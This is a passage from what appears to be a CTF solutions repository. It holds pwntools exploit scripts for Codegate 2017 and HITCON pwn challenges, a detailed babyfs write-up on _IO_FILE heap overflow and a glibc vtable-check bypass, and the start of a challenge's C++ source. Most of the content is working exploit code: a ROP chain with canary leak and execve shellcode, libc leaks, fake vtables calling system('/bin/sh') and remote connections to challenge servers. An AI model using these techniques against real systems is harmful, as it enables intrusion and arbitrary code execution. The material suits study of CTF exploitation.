| r.sendline(ID) 38 | print r.recvuntil("password : ") 39 | r.sendline(pw) 40 | print r.recvuntil("> ") 41 | 42 | def seeInfo(idx, what): 43 | r.sendline("3") 44 | print r.recvuntil("> ") 45 | r.sendline("3") 46 | print r.recvuntil("see?") 47 | r.sendline(str(idx)) 48 | print r.recvuntil("> ") 49 | r.sendline(str(what)) # cardID 1 ID 2 Info 3 Numvic 4 50 | rv = r.recvuntil("> ") 51 | print rv 52 | r.sendline("5") 53 | print r.recvuntil("> ") 54 | return rv 55 | 56 | def changePW(pw): 57 | r.sendline("3") 58 | print r.recvuntil("> ") 59 | r.sendline("1") 60 | print r.recvuntil("password : ") 61 | r.sendline(pw) 62 | print r.recvuntil("> ") 63 | r.sendline("5") 64 | print r.recvuntil("> ") 65 | 66 | def practice(): 67 | r.sendline("1") 68 | for i in range(30): 69 | r.sendline("50") 70 | print r.recvuntil("> ") 71 | 72 | def win(): 73 | r.sendline("2") 74 | for i in range(9): 75 | r.sendline("50") 76 | r.sendline("1") 77 | r.sendline("50") 78 | print r.recvuntil("> ") 79 | 80 | createID("mathboy7", "asdf", "asdf") 81 | genID("A"*10, "B"*10, "C"*10) 82 | genID("a"*10, "b"*10, "c"*10) 83 | genID("d"*10, "e"*10, "f"*10) 84 | 85 | delID("A"*10, "B"*10) 86 | delID("a"*10, "b"*10) 87 | 88 | login("mathboy7", "asdf") 89 | 90 | heap = seeInfo(1, 1) 91 | heap = heap[heap.index("0x")+2:] 92 | heap = int(heap[:12], 16) 93 | 94 | libc = seeInfo(587, 1) 95 | libc = libc[libc.index("0x")+2:] 96 | libc = int(libc[:12], 16) 97 | 98 | vtbl = heap - 0x1310 99 | libc_base = libc - 0x3c1b88 100 | system = libc_base + 0x456a0 101 | gets = libc_base + 0x6fff0 102 | 103 | payload = "B"*0x10 104 | payload += p64(libc_base + 0xf1651) # one shot, [rsp+0x40] == NULL 105 | payload += "B"*0x28 106 | 107 | changePW(payload) 108 | 109 | print "heap: " + hex(heap) 110 | print "libc: " + hex(libc) 111 | 112 | practice() 113 | win() 114 | 115 | r.sendline("3") 116 | print r.recvuntil("> ") 117 | r.sendline("4") 118 | print r.recvuntil("> ") 119 | 120 | r.sendline("3") 121 | print r.recvuntil("delete?") 122 | r.sendline("mathboy7") 123 | print r.recvuntil("password : ") 124 | r.sendline(p64(vtbl) + "\x00"*48) 125 | 126 | r.sendline("2") 127 | 128 | r.interactive() 129 | -------------------------------------------------------------------------------- /Codegate 2017 Quals/hunting/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Codegate 2017 Quals/hunting/hunting: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/Codegate 2017 Quals/hunting/hunting -------------------------------------------------------------------------------- /Codegate 2017 Quals/hunting/hunting.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ctypes import * 3 | 4 | r = process("./hunting") 5 | 6 | def useSkill(): 7 | r.sendline("2") 8 | clib.rand() 9 | print r.recvuntil("Skill Activation") 10 | rv = r.recvuntil("============") 11 | print rv 12 | rnd = clib.rand() 13 | print "rnd : " + hex(rnd) 14 | rnd = rnd & 3 15 | print "rnd: " + hex(rnd) 16 | 17 | if rnd == 1: # wind 18 | r.sendline("3") 19 | elif rnd == 2: # fire 20 | r.sendline("2") 21 | else: # rnd == 0, ice 22 | r.sendline("1") 23 | 24 | return rv 25 | 26 | def changeSkill(skill): 27 | r.sendline("3") 28 | print r.recvuntil("choice:") 29 | r.sendline(str(skill)) 30 | print r.recvuntil("choice:") 31 | 32 | clib = cdll.LoadLibrary("libc.so.6") 33 | clib.srand(clib.time(0)) 34 | 35 | print r.recvuntil("Exit") 36 | 37 | changeSkill(3) # IceBall 38 | 39 | for i in range(20): 40 | rv = useSkill() 41 | if "level:4" in rv: 42 | break 43 | 44 | changeSkill(2) # fireball 45 | 46 | r.send("2\n") 47 | clib.rand() 48 | rnd = clib.rand() & 3 49 | 50 | if rnd == 1: # wind 51 | r.sendline("3") 52 | elif rnd == 2: # fire 53 | r.sendline("2") 54 | else: # rnd == 0, ice 55 | r.sendline("1") 56 | 57 | changeSkill(7) 58 | r.send("2\n") 59 | 60 | clib.rand() 61 | rnd = clib.rand() & 3 62 | 63 | if rnd == 1: # wind 64 | r.sendline("3") 65 | elif rnd == 2: # fire 66 | r.sendline("2") 67 | else: # rnd == 0, ice 68 | r.sendline("1") 69 | 70 | changeSkill(2) 71 | 72 | sleep(1) 73 | 74 | r.send("2\n") 75 | clib.rand() 76 | rnd = clib.rand() & 3 77 | 78 | if rnd == 1: # wind 79 | r.sendline("3") 80 | elif rnd == 2: # fire 81 | r.sendline("2") 82 | else: # rnd == 0, ice 83 | r.sendline("1") 84 | 85 | changeSkill(7) 86 | r.send("2\n") 87 | 88 | clib.rand() 89 | rnd = clib.rand() & 3 90 | 91 | if rnd == 1: # wind 92 | r.sendline("3") 93 | elif rnd == 2: # fire 94 | r.sendline("2") 95 | else: # rnd == 0, ice 96 | r.sendline("1") 97 | 98 | r.interactive() 99 | -------------------------------------------------------------------------------- /HITCON/Start/README.md: -------------------------------------------------------------------------------- 1 | Start - Pwn 132 (165 Teams Solved) 2 | ------------- 3 | ### Description 4 | Have you tried pwntools-ruby?
5 | nc 54.65.72.116 31337
6 | (link to binary) 7 | 8 | ### Solution 9 | Binary has simple buffer overflow vulnerability. 10 | 11 | We have to write exploit code with pwntools-ruby and send to server. 12 | 13 | Details are in my exploit code. (start.py, start.rb) 14 | -------------------------------------------------------------------------------- /HITCON/Start/start.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote("54.65.72.116", 31337) 4 | 5 | print r.recvuntil("> ") 6 | d = open("start.rb").read() 7 | r.send(d) 8 | 9 | r.interactive() 10 | -------------------------------------------------------------------------------- /HITCON/Start/start.rb: -------------------------------------------------------------------------------- 1 | require 'pwn' 2 | 3 | context.log_level = :debug 4 | 5 | z = Sock.new '0.0.0.0', 31338 6 | z.write "A"*0x18 + "B" 7 | z.recvuntil "B" 8 | 9 | canary = z.recv(7) 10 | canary = u64("\x00" + canary) 11 | 12 | payload = "A"*0x18 13 | payload += p64(canary) 14 | payload += "B"*0x8 15 | payload += p64(0x4005d5) 16 | payload += p64(0x6cf000) 17 | payload += p64(0x4017f7) 18 | payload += p64(0x1000) 19 | payload += p64(0x443776) 20 | payload += p64(0x7) 21 | 22 | payload += p64(0x440e60) 23 | 24 | payload += p64(0x4005d5) 25 | payload += p64(0x0) 26 | payload += p64(0x4017f7) 27 | payload += p64(0x6cf460) 28 | payload += p64(0x443776) 29 | payload += p64(0x20) 30 | 31 | payload += p64(0x440300) 32 | 33 | payload += p64(0x6cf460) 34 | 35 | z.send(payload) 36 | 37 | sleep(0.3) 38 | z.send("exit\n") 39 | sleep(0.3) 40 | 41 | print z.recv(1024) 42 | print z.recv(1024) 43 | z.send("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") 44 | 45 | z.send("cat /home/start/flag\n") 46 | 47 | print z.recv(1024) 48 | print z.recv(1024) 49 | print z.recv(1024) 50 | -------------------------------------------------------------------------------- /HITCON/babyfs/README.md: -------------------------------------------------------------------------------- 1 | babyfs - Pwn 315 (13 Teams Solved) 2 | ------------- 3 | ### Description 4 | Baby or not baby is up to you.
5 | nc 52.198.183.186 50216
6 | (link to binary and libc) 7 | 8 | ### Overview 9 | babyfs is a x86-64 ELF(NX, SSP, PIE, Full RELRO) binary implementing a simple file stream open/read/write/close functions.
10 | 11 | It's a CTF-style menu challenge, easy to reversing, hard to exploit. 12 | 13 | ### Reversing 14 | Okay, so lets check out how each functions are working. 15 | 16 | #### Open 17 | 18 | First we have to know how program manage each file stream and its data.
19 | In binary, it uses structure 1 to manage file stream and it allocated in .bss section (its global variable!).
20 | And sadly, there is PIE in binary so we cant use this metadata in exploit without PIE leak XD
21 | 22 | ```c 23 | // Structure 1 24 | struct __attribute__((aligned(8))) simpleFs 25 | { 26 | char *streamPtr; 27 | char *fileData; 28 | char fileName[64]; 29 | unsigned __int64 fileLen; 30 | __int32 isWrite; 31 | __int32 padding; 32 | }; 33 | ``` 34 | 35 | We can open maximum 3 files at the same time in open menu. Function get file name at .bss section (global variable structure)and try to open file.
36 | If file name invalid, function opens error log file and write file name which we try to open.
37 | After open the file successfully get file length using fseek() and allocate data buffer (size fileLen+1) for read file. 38 | 39 | #### Read 40 | -- In read menu, program take index we opened from user.
41 | -- If index is invalid then get size to read. After comparing size with filesize call fread() to read data from file.
42 | -- Data is stored at **char \*fileData**. 43 | 44 | #### Write 45 | Take index and progress validation check same as read menu.
46 | We can write file data only one time because it sets write flag when write menu called.
47 | Menu returns "It have been writed !" strings if structure's isWrite flag != 0. If isWrite flag unsetted, function writes only one byte of file data to stdout stream. 48 | 49 | #### Close 50 | If index and streamPtr is not NULL, it frees **char \*fileData** and nullify other region without **char \*streamPtr**.
51 | **char \*streamPtr** nullified after fclose(streamPtr) called. 52 | 53 | ### Vulnerability 54 | 55 | So where does the vulnerability occurs? It occurs at open menu.
56 | The size will return -1 and stored at **fileLen** if we give "/dev/fd/0" or "/dev/stdin" for file name, but buffer allocates size+1 so it will normally allocate heap buffer by malloc(0).
57 | **unsigned __int64 fileLen** is **unsigned int**, so heap overflow will occur if we give size bigger than 0x20 in read menu. 58 | 59 | ### Exploit - Intended 60 | 61 | We always have to think what data can we overwrite.
62 | The most intuitive attack vector is the contents of the \_IO_FILE structure, which allocated in the heap directly.
63 | We looked at the \_IO_FILE structure and thought its enough to get arbitrary read/write by manipulating \_IO_read_ptr and \_IO_write_ptr to our input. 64 | 65 | ```c 66 | struct _IO_FILE { 67 | int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ 68 | #define _IO_file_flags _flags 69 | 70 | /* The following pointers correspond to the C++ streambuf protocol. */ 71 | /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ 72 | char* _IO_read_ptr; /* Current read pointer */ 73 | char* _IO_read_end; /* End of get area. */ 74 | char* _IO_read_base; /* Start of putback+get area. */ 75 | char* _IO_write_base; /* Start of put area. */ 76 | char* _IO_write_ptr; /* Current put pointer. */ 77 | char* _IO_write_end; /* End of put area. */ 78 | char* _IO_buf_base; /* Start of reserve area. */ 79 | char* _IO_buf_end; /* End of reserve area. */ 80 | /* The following fields are used to support backing up and undo. */ 81 | char *_IO_save_base; /* Pointer to start of non-current get area. */ 82 | char *_IO_backup_base; /* Pointer to first valid character of backup area */ 83 | char *_IO_save_end; /* Pointer to end of non-current get area. */ 84 | 85 | struct _IO_marker *_markers; 86 | 87 | struct _IO_FILE *_chain; 88 | 89 | int _fileno; 90 | #if 0 91 | int _blksize; 92 | #else 93 | int _flags2; 94 | #endif 95 | _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ 96 | 97 | #define __HAVE_COLUMN /* temporary */ 98 | /* 1+column number of pbase(); 0 is unknown. */ 99 | unsigned short _cur_column; 100 | signed char _vtable_offset; 101 | char _shortbuf[1]; 102 | 103 | /* char* _save_gptr; char* _save_egptr; */ 104 | 105 | _IO_lock_t *_lock; 106 | #ifdef _IO_USE_OLD_IO_FILE 107 | }; 108 | ``` 109 | 110 | So, the scenario looks very simple.
111 | - Allocate 2 file streams. (/dev/fd/0, anything else) 112 | - Overwrite second file stream's \_IO_read_ptr and call file 1's write menu. (NULL byte appended to the end because it use fread, need brute-force for 0.5 byte.) 113 | - Close file 1, allocate file 1 and repeat it to get full address of heap and libc. (can read 1byte per attempt) 114 | - Close file 1 and allocate /dev/fd/0 again. 115 | - Overwrite /dev/fd/0's \_IO_write_ptr to \_\_free_hook and call file 1's read menu. 116 | - Overwrite \_\_free_hook to system or one-shot gadget, get shell! 117 | 118 | Simple, huh? 119 | 120 | ### Exploit - Two little problems (crazy parts) 121 | I tried to exploit using the above method, but there were some serious problems. 122 | 123 | First, the binary was running with socat, some character was truncated.
124 | In particular **"\x7f"** is treated as a backspace, so I can't input the address of the library area.

125 | (Intended solution is bypass check with "\x16\x7f" and follow the above scenario.
126 | I want to suggest another solution that purely not using "\x7f".) 127 | 128 | Therefore, we can't overwrite the library address in the location we want.
129 | However, that you can not use "\x7f" does not necessarily mean you can't enter the address of the library area into memory.
130 | We can enter library address by overwriting the lower bytes of the pointer that already points to the library area!
131 | We can overwrite the file stream with a fake vtable in heap so we can call the code we want.
132 | 133 | Yes, and I get local shell! 134 | 135 | I was excited to get the flag and run the script after change the offset, but there was an error message. 136 | 137 | > Fatal error: glibc detected an invalid stdio handle 138 | 139 | So there is second problem, there was a new mitigation applied in latest version of libc. (after 2.24)
140 | It check the address of vtable before all virtual function call and if vtable invalid, just aborted.
141 | How can I exploit this binary?
142 | 143 | ### Exploit - Final 144 | 145 | So I thought calling other function that satisfy the condition.
146 | I found one function that does not check condition at 0x3bdbd0 while finding the useful vtable function. 147 | 148 | > \_\_libc_IO_vtables:00000000003BDBD0 dq offset sub_748E0 149 | 150 | ```c 151 | // sub_748E0 vtable function 152 | int __fastcall sub_748E0(__int64 arg) 153 | { 154 | __int64 argPtr; // rax@1 155 | 156 | argPtr = *(arg + 0xA0); 157 | if ( *(argPtr + 0x30) && !(*(arg + 0x74) & 8) ) 158 | { 159 | (*(arg + 0xE8))(); 160 | argPtr = *(arg + 160); 161 | } 162 | *(argPtr + 48) = 0LL; 163 | return IO_wdefault_finish(arg, 0LL); 164 | } 165 | ``` 166 | 167 | And this is the assembly code that calls the vtable function. 168 | 169 | ```asm 170 | 0x7f36269526b3 <_IO_flush_all_lockp+355>: mov rax,QWORD PTR [rbx+0xa0] 171 | => 0x7f36269526ba <_IO_flush_all_lockp+362>: mov rcx,QWORD PTR [rax+0x18] 172 | 0x7f36269526be <_IO_flush_all_lockp+366>: cmp QWORD PTR [rax+0x20],rcx 173 | 0x7f36269526c2 <_IO_flush_all_lockp+370>: jbe 0x7f36269526f7 <_IO_flush_all_lockp+423> # mitigation routine 174 | 0x7f36269526c4 <_IO_flush_all_lockp+372>: mov rax,QWORD PTR [rbx+0xd8] 175 | 0x7f36269526cb <_IO_flush_all_lockp+379>: 176 | lea rsi,[rip+0x33f1ee] # 0x7f3626c918c0 <_IO_helper_jumps> 177 | 0x7f36269526d2 <_IO_flush_all_lockp+386>: mov rdx,rax 178 | 0x7f36269526d5 <_IO_flush_all_lockp+389>: sub rdx,rsi 179 | 0x7f36269526d8 <_IO_flush_all_lockp+392>: cmp r12,rdx 180 | 0x7f36269526db <_IO_flush_all_lockp+395>: jbe 0x7f3626952850 <_IO_flush_all_lockp+768> 181 | 0x7f36269526e1 <_IO_flush_all_lockp+401>: mov esi,0xffffffff 182 | 0x7f36269526e6 <_IO_flush_all_lockp+406>: mov rdi,rbx 183 | 0x7f36269526e9 <_IO_flush_all_lockp+409>: call QWORD PTR [rax+0x18] # call part 184 | ``` 185 | 186 | Register "rbx" stores a pointer of our fake input.
187 | We can call \*(\*(addr+0xd8)+0x18) but \*(addr+0xd8) must be code in the library vtable area.
188 | 189 | So I modify \*(addr+0xd8) to (libc + 0x3bdbd0 - 0x18), _\_IO_flush_all_lockp+409_ will call _sub_748E0_ function.
190 | In _sub_748E0_, check some conditions and call \*(addr+0xe8) without any checks.
191 | 192 | Yes, so if the pointers in both library areas are in the heap and their addresses differ by 0x10, we can modify first pointer to (libc+0x3bdbd0-0x18) and second pointer to system by arbitrary overwrite explained as above, we will get the shell.
193 | 194 | However there are no library pointers that condition satifies.
195 | But we can create library pointers by making unsorted bin.
196 | When we opens new file, it allocates two chunks in heap and binary allocates data chunk.
197 | First chunk is the file stream chunk, second is the file data chunk.
198 | However, we should be note that there is another library pointer at the end of the file stream chunk.
199 | 200 | ``` 201 | 0x555555758000: 0x0000000000000000 0x0000000000000231 202 | 0x555555758010: 0x00000000fbad2688 0x0000555555758240 203 | 0x555555758020: 0x0000555555758240 0x0000555555758240 204 | 0x555555758030: 0x0000555555758240 0x0000555555758240 205 | 0x555555758040: 0x0000555555758240 0x0000555555758240 206 | 0x555555758050: 0x0000555555758640 0x0000000000000000 207 | 0x555555758060: 0x0000000000000000 0x0000000000000000 208 | 0x555555758070: 0x0000000000000000 0x00007ffff7dd2540 209 | 0x555555758080: 0x0000000000000003 0x0000000000000000 210 | 0x555555758090: 0x0000000000000000 0x00005555557580f0 211 | 0x5555557580a0: 0xffffffffffffffff 0x0000000000000000 212 | 0x5555557580b0: 0x0000555555758100 0x0000000000000000 213 | 0x5555557580c0: 0x0000000000000000 0x0000000000000000 214 | 0x5555557580d0: 0x0000000000000000 0x0000000000000000 215 | 0x5555557580e0: 0x0000000000000000 0x00007ffff7dd06e0 216 | 217 | ... 218 | 219 | 0x5555557581e0: 0x0000000000000000 0x0000000000000000 220 | 0x5555557581f0: 0x0000000000000000 0x0000000000000000 221 | 0x555555758200: 0x0000000000000000 0x0000000000000000 222 | 0x555555758210: 0x0000000000000000 0x0000000000000000 223 | 0x555555758220: 0x0000000000000000 0x0000000000000000 224 | 0x555555758230: 0x00007ffff7dd0260 0x0000000000000411 225 | 0x555555758240: 0x0000000000000000 0x0000000000000000 226 | ``` 227 | 228 | So, If we free second chunk and unsorted bin's fd, bk(library pointer) are written in next heap+0x240 address, there are two pointers that satisfies the condition.
229 | 230 | ``` 231 | 0x5555557581e0: 0x0000000000000000 0x0000000000000000 232 | 0x5555557581f0: 0x0000000000000000 0x0000000000000000 233 | 0x555555758200: 0x0000000000000000 0x0000000000000000 234 | 0x555555758210: 0x0000000000000000 0x0000000000000000 235 | 0x555555758220: 0x0000000000000000 0x0000000000000000 236 | 0x555555758230: 0x00007ffff7dd0260 0x0000000000000411 237 | 0x555555758240: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 238 | ``` 239 | 240 | Great! So call vtable after modify +0x230 pointer to vtable address-0x18, +0x240 pointer to system then we can get shell! 241 | 242 | The final exploit scenario: 243 | >- Allocate 3 file streams 244 | >- Get heap and libc address by above method (set _\_IO_read_end_ to avoid null byte at the end) 245 | >- Free file 0, make 2 library pointer differs 0x10. 246 | >- Make fake table at before first library pointer and change first library pointer to &func-0x18 247 | >- Overwrite second library pointer to system 248 | >- Close chunk 2, call system("/bin/sh")! 249 | 250 | > Closing /dev/fd/0 ...
251 | > /bin/sh: 0: can't access tty; job control turned off
252 | > $ id
253 | > uid=2139990319 gid=1337 groups=1337
254 | > $ cd /home/babyfs
255 | > $ ls
256 | > b4by_fl49 babyfs.bin flag
257 | > $
258 | > $ cat b4by_fl49
259 | > hitcon{pl4y_w1th_f1l3_Struc7ure_1s_fUn}
260 | > $
261 | 262 | It was great challenge!
263 | I took almost 30 hours to solve it :(
264 | I learned really lot while thinking idea about bypassing vtable mitigation, thanks for angelboy XD (intended solution is very easy)
265 | 266 | Full exploit code is at babyfs.py 267 | -------------------------------------------------------------------------------- /HITCON/babyfs/babyfs.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | def alloc(name): 4 | r.recvuntil("choice:") 5 | r.sendline("1") 6 | r.recvuntil(":") 7 | r.sendline(name) 8 | 9 | def read_a(index, size, dat): 10 | r.recvuntil("choice:") 11 | r.sendline("2") 12 | r.recvuntil(":") 13 | r.sendline(str(index)) 14 | r.recvuntil(":") 15 | r.sendline(str(size)) 16 | r.sendline(dat) # stdin 17 | 18 | def read_l(index, size): 19 | r.recvuntil("choice:") 20 | r.sendline("2") 21 | r.recvuntil(":") 22 | r.sendline(str(index)) 23 | r.recvuntil(":") 24 | r.sendline(str(size)) 25 | 26 | def write(index): 27 | r.recvuntil("choice:") 28 | r.sendline("3") 29 | r.recvuntil(":") 30 | r.sendline(str(index)) 31 | 32 | def close_l(index): 33 | r.recvuntil("choice:") 34 | r.sendline("4") 35 | r.recvuntil(":") 36 | r.sendline(str(index)) 37 | 38 | for i in range(0, 0x100): 39 | try: 40 | # r = process("./babyfd") 41 | # r = remote("localhost", 50216) 42 | r = remote("52.198.183.186", 50216) 43 | 44 | sleep(0.1) 45 | 46 | r.recvuntil("choice:") 47 | r.sendline("1") 48 | r.sendline("/dev/fd/0") 49 | 50 | alloc("/etc/passwd") 51 | 52 | data = "A"*0x18 53 | data += p64(0x231) 54 | data += p64(0xfbad2488) 55 | 56 | read_a(0, len(data)+1, data+"\x98") # partial overwrite, brute-force 1/16 for null-byte 57 | read_l(1, 1) 58 | 59 | write(1) 60 | 61 | r.recvuntil("content of") 62 | r.recvuntil("\n") 63 | heap = "" 64 | heap += (r.recvuntil("Your choice: ")[0]) 65 | r.sendline("9") 66 | 67 | print "heap leak..." 68 | 69 | for i in range(1, 6): 70 | r.sendline("9") 71 | close_l(1) 72 | alloc("/etc/passwd") 73 | read_a(0, len(data)+1, data[1:] + p8(0x98+i)) # partial overwrite 74 | read_l(1, 1) 75 | write(1) 76 | r.recvuntil("content of") 77 | r.recvuntil("\n") 78 | heap += (r.recvuntil("Your choice: ")[0]) 79 | 80 | heap = u64(heap + "\x00\x00") - 0xf0 81 | log.info("Heap: 0x%x" % heap) 82 | 83 | r.sendline("9") 84 | 85 | close_l(1) 86 | 87 | data = "A"*0x17 88 | data += p64(0x231) 89 | data += p64(0xfbad2488) 90 | 91 | alloc("/etc/passwd") 92 | 93 | read_a(0, len(data)+7, data+p64(heap+0x78)[:-1]) 94 | read_l(1, 1) 95 | write(1) 96 | 97 | r.recvuntil("content of") 98 | r.recvuntil("\n") 99 | libc = "" 100 | libc += (r.recvuntil("Your choice: ")[0]) 101 | 102 | r.sendline("9") 103 | close_l(1) 104 | 105 | for i in range(1, 6): 106 | print hexdump(libc) 107 | alloc("/etc/passwd") 108 | read_a(0, len(data)+7, data[1:]+p64(heap+0x78+i)[:-1]) 109 | read_l(1, 1) 110 | write(1) 111 | 112 | r.recvuntil("content of") 113 | r.recvuntil("\n") 114 | libc += (r.recvuntil("Your choice: ")[0]) 115 | r.sendline("9") 116 | close_l(1) 117 | 118 | libc = u64(libc + "\x00\x00") - 0x3c2520 119 | log.info("Libc: 0x%x" % libc) 120 | 121 | alloc("/dev/fd/0") 122 | read_a(1, 16, "B"*16) 123 | 124 | alloc("/dev/fd/0") 125 | 126 | close_l(0) 127 | 128 | ### stage-1 ### 129 | 130 | payload = "A"*23 + p64(0x231) 131 | payload += p64(0x20646d65fbad3c80) 132 | payload += p64(heap+0x1f8-0xa0)*5 # _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base, _IO_write_ptr 133 | payload += p64(heap+0x235) # _IO_write_end, no NULL Byte if _IO_write_end setted. 134 | payload += p64(heap+0x1f8-0xa0) # _IO_buf_base 135 | payload += p64(heap+0x235) # _IO_buf_end 136 | 137 | read_a(1, len(payload)+1, payload) 138 | 139 | vtable = libc + 0x3bdbd0 - 0x18 140 | system = libc + 0x456a0 141 | 142 | fake = "/bin/sh\x00" 143 | fake += "\x00"*0x98 144 | fake += p64(heap+0x1f8) # [buf+0xa0] 145 | fake += p64(heap+0x1f8) 146 | fake += p64(0x0)*2 # [[buf+0xa0]+0x18] 147 | fake += p64(0x1)*2 # [[buf+0xa0]+0x20] to bypass _IO_flush_all_lockp condition 148 | fake += p64(heap+0x158) # this is for argument, it points &"/bin/sh" in heap 149 | fake += p64(vtable)[:5] # changed vtable, sub_748E0 150 | 151 | read_a(2, len(fake)-1, fake[:-1]) # attempt 1 152 | read_a(2, len(fake), fake) # have to try two attempt for no NULL-Byte added 153 | 154 | ### stage-2 ### 155 | 156 | payload = "A"*23 + p64(0x231) 157 | payload += p64(0x20646d65fbad3c80) 158 | payload += p64(heap+0x240)*5 # to overwrite second libc ptr 159 | payload += p64(heap+0x245) 160 | payload += p64(heap+0x240) 161 | payload += p64(heap+0x245) 162 | 163 | read_a(1, len(payload)+1, payload) 164 | 165 | read_a(2, 4, "AAAA") 166 | read_a(2, 5, p64(system)[:5]) # change second libc ptr to system 167 | 168 | ### final stage ### 169 | 170 | payload = "A"*23 + p64(0x231) 171 | payload += "\x80\x3c\xad\xfb\x3b\x73\x68\x00" 172 | payload += p64(heap+0x240)*5 173 | payload += p64(heap+0x245) 174 | payload += p64(heap+0x240) 175 | payload += p64(heap+0x245) 176 | payload += p64(0x0)*4 177 | payload += p64(heap+0x1f8-0xa0) # overwrite next ptr, it points fake stream pointer 178 | 179 | read_a(1, len(payload)+1, payload) # go! 180 | 181 | close_l(2) # call vtable and get shell 182 | 183 | r.interactive() 184 | except Exception as e: 185 | print e.message 186 | r.close() 187 | continue 188 | 189 | -------------------------------------------------------------------------------- /HITCON/ragnarok/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /HITCON/ragnarok/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/HITCON/ragnarok/libc.so.6 -------------------------------------------------------------------------------- /HITCON/ragnarok/libvtv.so.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/HITCON/ragnarok/libvtv.so.0 -------------------------------------------------------------------------------- /HITCON/ragnarok/ragnarok.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mathboy7/CTF/e279bf91ad6b22fc41087571c5fba9501832ab80/HITCON/ragnarok/ragnarok.bin -------------------------------------------------------------------------------- /HITCON/ragnarok/ragnarok.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #define TIMEOUT 300 14 | #define FLAG "/home/ragnarok/flag" 15 | using namespace std; 16 | 17 | class Figure{ 18 | public : 19 | Figure():atk(0),hp(0){ 20 | }; 21 | Figure(const Figure ©figure){ 22 | desc = copyfigure.desc; 23 | weapon = copyfigure.weapon; 24 | atk = copyfigure.atk; 25 | def = copyfigure.def; 26 | hp = copyfigure.hp; 27 | mp = copyfigure.mp ; 28 | }; 29 | 30 | Figure& operator=(const Figure ©figure){ 31 | desc = copyfigure.desc; 32 | weapon = copyfigure.weapon; 33 | atk = copyfigure.atk; 34 | def = copyfigure.def ; 35 | hp = copyfigure.hp; 36 | mp = copyfigure.mp; 37 | }; 38 | 39 | 40 | 41 | virtual void add_weapon(string str){ 42 | weapon = str ; 43 | }; 44 | 45 | virtual void cast_spell(shared_ptr
figure){ 46 | }; 47 | 48 | virtual void info(){ 49 | cout << "Name : " << name << endl ; 50 | cout << "Description : " << desc << endl ; 51 | if(!weapon.empty()) 52 | cout << "Weapon : " << weapon << endl ; 53 | cout << "Atk : " << atk << endl ; 54 | cout << "Hp : " << hp << endl ; 55 | cout << "Mp : " << mp << endl ; 56 | } 57 | 58 | void damage(shared_ptr
figure){ 59 | if(atk > figure->def) 60 | figure->hp -= (atk - figure->def) ; 61 | } 62 | 63 | void defense(){ 64 | def += 200 ; 65 | hp += 200 ; 66 | } 67 | 68 | void change_desc(string str){ 69 | desc = str ; 70 | } 71 | 72 | void add_atk(int inc_atk){ 73 | atk += inc_atk ; 74 | } 75 | 76 | void add_def(int inc_def){ 77 | def += inc_def ; 78 | } 79 | 80 | void add_hp(int inc_hp){ 81 | hp += inc_hp ; 82 | } 83 | 84 | void add_mp(int inc_mp){ 85 | mp += inc_mp ; 86 | } 87 | 88 | string get_name(){ 89 | return name ; 90 | } 91 | 92 | long get_hp(){ 93 | return hp ; 94 | } 95 | 96 | long get_mp(){ 97 | return mp ; 98 | } 99 | 100 | virtual ~Figure(){ 101 | name.clear(); 102 | desc.clear(); 103 | weapon.clear(); 104 | atk = 0 ; 105 | hp = 0 ; 106 | mp = 0 ; 107 | def = 0 ; 108 | }; 109 | 110 | protected: 111 | string name ; 112 | string desc ; 113 | string weapon ; 114 | long atk ; 115 | long hp ; 116 | long mp ; 117 | long def ; 118 | 119 | }; 120 | 121 | shared_ptr
enemy ; 122 | shared_ptr
character ; 123 | string name ; 124 | unsigned int money = 0 ; 125 | unsigned int highest = 0 ; 126 | unsigned int rate = 100 ; 127 | 128 | //Character 129 | class Odin: public Figure { 130 | public : 131 | Odin(){ 132 | name = "Odin" ; 133 | desc = "Odin's skill is to increase atk & def" ; 134 | atk = 1034 ; 135 | hp = 4561 ; 136 | mp = 1721 ; 137 | def = 800 ; 138 | 139 | }; 140 | 141 | Odin(string figureweapon){ 142 | name = "Odin" ; 143 | desc = "Odin's skill is to increase atk & def" ; 144 | atk = 1034 ; 145 | hp = 4561 ; 146 | mp = 1721 ; 147 | def = 800 ; 148 | add_weapon(figureweapon); 149 | 150 | 151 | }; 152 | 153 | void cast_spell(shared_ptr
figure){ 154 | if(mp >= 1600){ 155 | this->add_mp(-1600); 156 | figure->add_atk(1034); 157 | figure->add_def(800); 158 | cout << "\033[35m" << figure->get_name() << ": (atk+1034,def+800)\033[0m" << endl; 159 | 160 | }else{ 161 | cout << "You have no power !" << endl ; 162 | } 163 | } 164 | 165 | virtual void add_weapon(string str){ 166 | if(weapon.empty()){ 167 | weapon = str ; 168 | if(!weapon.compare("Droupnir")){ 169 | add_atk(800); 170 | } 171 | if(!weapon.compare("Gungnir")){ 172 | add_mp(1600); 173 | cast_spell(shared_ptr
